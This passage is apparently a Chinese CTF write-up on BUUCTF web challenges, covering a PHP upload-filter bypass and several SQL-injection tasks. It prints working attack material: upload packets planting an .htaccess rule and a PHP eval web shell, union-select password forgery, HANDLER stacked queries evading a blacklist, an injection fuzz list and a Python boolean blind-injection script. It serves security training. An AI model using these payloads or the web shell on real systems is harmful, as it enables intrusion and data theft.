$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>

解题

源码分析

<?php
// session验证user是否存在
if(!isset($_SESSION['user'])){
// 如果不存在,使用md5加密(当前Unix时间戳+指定范围的随机整数)
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}

if(isset($_FILES['uploaded'])) {

// 当前文件所在目录+/upload/+md5加密的session的user的值。
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
// 上面的路径+上传文件的文件名
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
// 文件名
$uploaded_name = $_FILES['uploaded']['name'];
// 切割出后缀
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
// 文件大小
$uploaded_size = $_FILES['uploaded']['size'];
// 文件临时文件名
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

// 过滤后缀的ph
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
// 文件类型,文件大小限制
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){

// 文件内容过滤< 和 ?
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>

整体看下来,貌似还是……文件上传+文件解析错误的那个漏洞?

说了半天,限制没那么严格,枉费我浪费时间解读前面的那md5路径编码……

WP

简单来说,两个数据包:

-----------------------------14187232819665
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg
-----------------------------14187232819665
Content-Disposition: form-data; name="submit"

上传
-----------------------------14187232819665--

上面是配置文件的数据包,下面写后门的数据包

Content-Disposition: form-data; name="uploaded"; filename="aaa.jpg"
Content-Type: image/jpeg

<script language="php">eval($_POST['x']);</script>
-----------------------------14187232819665
Content-Disposition: form-data; name="submit"

上传
-----------------------------14187232819665--

这个数据包会返回一个路径信息,访问那个路径下的文件,菜刀直接连接即可。

# 返回的信息
/var/www/html/upload/dac0d37642a94fc94e8ddd449caaff6c/aaa.jpg succesfully uploaded!
# URL访问的信息(菜刀连接)
http://4fccb7da-9a30-40ff-b430-7307bfb740d7.node4.buuoj.cn:81/upload/dac0d37642a94fc94e8ddd449caaff6c/aaa.jpg

这里为啥用菜刀呢?因为system相关的几个函数被封了,菜刀连接更方便点。

[GXYCTF2019]BabySQli

写黑白盒测试的原因:写白盒的源码分析写到后面,去查了下资料发现这是黑盒测试。

黑盒测试

原始信息

原始信息其实就一个:

get:
http://bc93862b-f554-4c02-a9c4-7019bb74d5fc.node4.buuoj.cn:81/search.php

post:
name=admin'Order by 4#&pw=2

源码还藏了这个东西:

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
base32解码:c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
base64解码:select * from user where username = '$name'

解题

按照常规的SQL注入测试流程测试

# 测列数
post:
name=admin'Order by 3#&pw=2 '
return:
wrong pass!
post:
name=admin'Order by 4#&pw=2 '
return:
Error: Unknown column '4' in 'order clause'

# 测试回显内容
post:
name=admin'union select 1,2,3#&pw=1 '
return:
wrong pass!

// 真够不得了的,0回显点还怎么测???
// 不过根据经验来看,这三列没猜错的话,应该是:id,username,password
// 好几个人的博客都说这是虚拟密码,这个暂时没搞懂。
# md5(1)=c4ca4238a0b923820dcc509a6f75849b
post:
name=1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'# -&pw=1 '
return:
wrong pass!

白盒分析

原始信息

网页的源码在git上面,现在进行的是白盒审计。
审计的内容为处理文件的代码,其它代码实际意义不大,

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>

解题

源码分析:
这次情况和之前不一样。之前是黑盒审计,现在是白盒审计。

第一层

// 包含文件
require "config.php";
require "flag.php";

// 去除转义
// Magic Quotes 是一种自动对用户提交的数据进行转义的功能,目的是防止 SQL 注入、跨站点脚本攻击等安全问题。
// get_magic_quotes_gpc() 函数可以用来检测当前服务器是否启用了 Magic Quotes,返回一个布尔值,表示是否启用了该功能。如果返回 true,表示启用了 Magic Quotes;如果返回 false,表示未启用。
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
// 三元表达式
// 当is_array($value)为true: 调用函数自身并传入值
// 当is_array($value)非true: 去除字符串的反斜杠
$value = is_array($value)?array_map('stripslashes_deep', $value) : stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

// 设置连接字符的编码为utf8
mysqli_query($con,'SET NAMES UTF8');

// 接受参数
$name = $_POST['name'];
$password = $_POST['pw'];

// md5加密
$t_pw = md5($password);

// 拼凑为sql语句
$sql = "select * from user where username = '".$name."'";
// echo $sql;

// 访问数据库
$result = mysqli_query($con, $sql);

第一层咋一看没什么有价值的信息,实际上透露出了SQL查询查的是用户名
看第二层

第二层

// 过滤括号,等号和“或”
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
// 搞查询报错的报错信息显示用的
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
// 逐行获取数据库返回的结果
$arr = mysqli_fetch_row($result);
// 比对数组第二元素是否为admin
if($arr[1] == "admin"){
// 比对数组第三元素是否为传入时加密的密码
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>

摘出上面没理解的核心代码

$arr = mysqli_fetch_row($result);
if(md5($password) == $arr[2]){
echo $flag;
}
# 从数据库读取数据,存储,并且在此处取出其中一行,
# 取出数据库当中的密码列的密码和当前输入的密码进行比对
# 黑盒测试使用联合查询的时候,查询的结果也被计入了那个返回结果了
# 如果查询的那个用户名是自己定义的“admin”,那么后面跟着的密码……
# 只要我们自己手动md5加密,并且输入的密码也进行md5加密,那就能实现
# 伪造密码欺骗的效果!

简单再示范下伪造密码的流程:

# 假设返回的数据是数组,如下:
[
[1,'username','password'],
[2,'kali','123']
]
// 我们联合查询后就变成了:
[
[1,'username','password'],
[2,'kali','123'],
[3,'admin','xxxxx']
]
// 后面if语句又从这里取出数据进行比对
[3,'admin','xxxxx'][0] => 取出 'xxxxx'
if 'xxxxx' == $_GET['password']
print $flag;

# 所以说,这条比对用的数据正是我们构造出来的 [3,'admin','xxxxx']
# 那不就代表着我们构造什么样的 password 都能比对了么?
# 上面说的还要md5加密,说明后台存储的密码就是md5加密的,这是常规操作。

所以payload还是使用上面黑盒那个。
能巧妙的利用数据库的语法特性来做题,我真的挺佩服第一个做出这道题的大佬的。

[GYCTF2020]Blacklist

原始信息

提交到当前页面的查询:

<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>

还有一段提示词

Black list is so weak for you,isn't it
黑名单对你来说太弱了不是吗

说明本题使用的是黑名单。

解题

你要是问我灵感哪来的?我只能说,历史记录记录了打DVWA的记录,便宜了下现在的我……

# 1.先顺着它的意思输入
input:
1
output:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

# 2.试试直接查表,并且是分割式的查
input:
1';show tables;'
output:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

# 3.测测黑名单是什么东西
input:
1';select * from FlagHere;'
output:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

# 4.这里需要使用的是读取程序内容的代码:
input:
1';handler FlagHere open; handler FlagHere read first;'
output:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(42) "flag{df28f124-df18-4b9b-8c89-0473aee37b5b}"
}

总结

这次收获不错,得到了另外一条能显示列信息的路子。

源头参照的WP

虽然是参照,但也仅参照替代select的部分,其它部分推推都能出来。

-- 找到了替代select显示列中值的办法,真不错啊……
-- 不过这也间接的展示了第一个做出这个题的人对sql是多么的熟悉
handler FlagHere open; handler FlagHere read first;
handler dir_users open; handler dir_users read first;

handler相关的博客资料

[CISCN2019 华北赛区 Day2 Web1]Hack World

原始信息

信息1
flag{} 里为 uuid。

All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage
您想要的只是表“flag”,列是“flag”
现在,只需给出通道的 id

信息2
get:
http://40364ee9-cc6c-446d-81f7-160a624ecae6.node4.buuoj.cn:81/
post:
id=1

解题

fuzz字典盲扫

这次过滤的东西不是一般的多啊……

fuzz模糊测试没爆SQL注入的字符如下:
(指的是形如id=1,替换掉1
'
a'
?
,@variable
PRINT
select
insert
as
or
procedure
limit
asc
desc
delete
update
distinct
having
truncate
replace
like
bfilename
to_timestamp_tz
tz_offset
%20$(sleep%2050)
'sqlattempt1
(sqlattempt2)
|
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
(
%28
)
%29
&
%26
!
%21
/
//
*/*
"
#
-
--
\x23
\x27
@variable
%20'sleep%2050'

这时候,就不能老是赖着一种测注点的方法了。

以前测试的习惯: 'or '1'='1' (经常以'开头)                                                                           '
现在测试的情况: 尝试去掉'去测试注入。

测试流程

post:
id=1/1
output:
Hello, glzjin wants a girlfriend.

post:
id=(1)=(1)
output:
Hello, glzjin wants a girlfriend.

post:
id=(1)=(2)
output:
Error Occured When Fetch Result.
# 看出什么端倪了没?
# 只要结果是正确的,这货就一定给你整个"Hello, glzjin wants a girlfriend."
# 一旦有问题,给你整个“Error Occured When Fetch Result.”
# 记住这个结论,很重要!

布尔盲注

使用布尔盲注:

-- 假设我们读取的那个列的数值为一个字符串,并且首字符为f
-- 这个f对应的ascii码就是102

post:
id=(ASCII(substr((select(flag)from(flag)),1,1))=102)
return:
Hello, glzjin wants a girlfriend.

post:
id=(ASCII(substr((select(flag)from(flag)),1,1))=103)
return:
Error Occured When Fetch Result.

-- 稍微解释下上面的注入句子
/*
id=(ASCII(substr((select(flag)from(flag)),1,1))=103)
讲人话,就是:
1.select查询获取数据表flag中flag列的值,并且应该是返回一个值
2.返回值后,使用substr截断对应的字符串,让字符串仅仅显示一个字符
3.得到一个字符后,使用ascii编码获取这个字符的整数值
4.得到整数值并进行比较,正确返回true,错误返回false
而true和false对应的显示结果也就在上面了啦~
*/

看懂上面的东西,我们就能做一个测试脚本了:

获取每个字符串,比对字符串的ascii码值,正确则拼接字符串形成最终flag

原理都懂了,下面就借用下脚本:

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)


if __name__ == '__main__':
url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
blind_injection(url)

总结

SQL布尔盲注

ASCII(substr((select(flag)from(flag)),1,1))=103

最后

感谢此博客1博客2带来的启发,感谢末 初的简易脚本。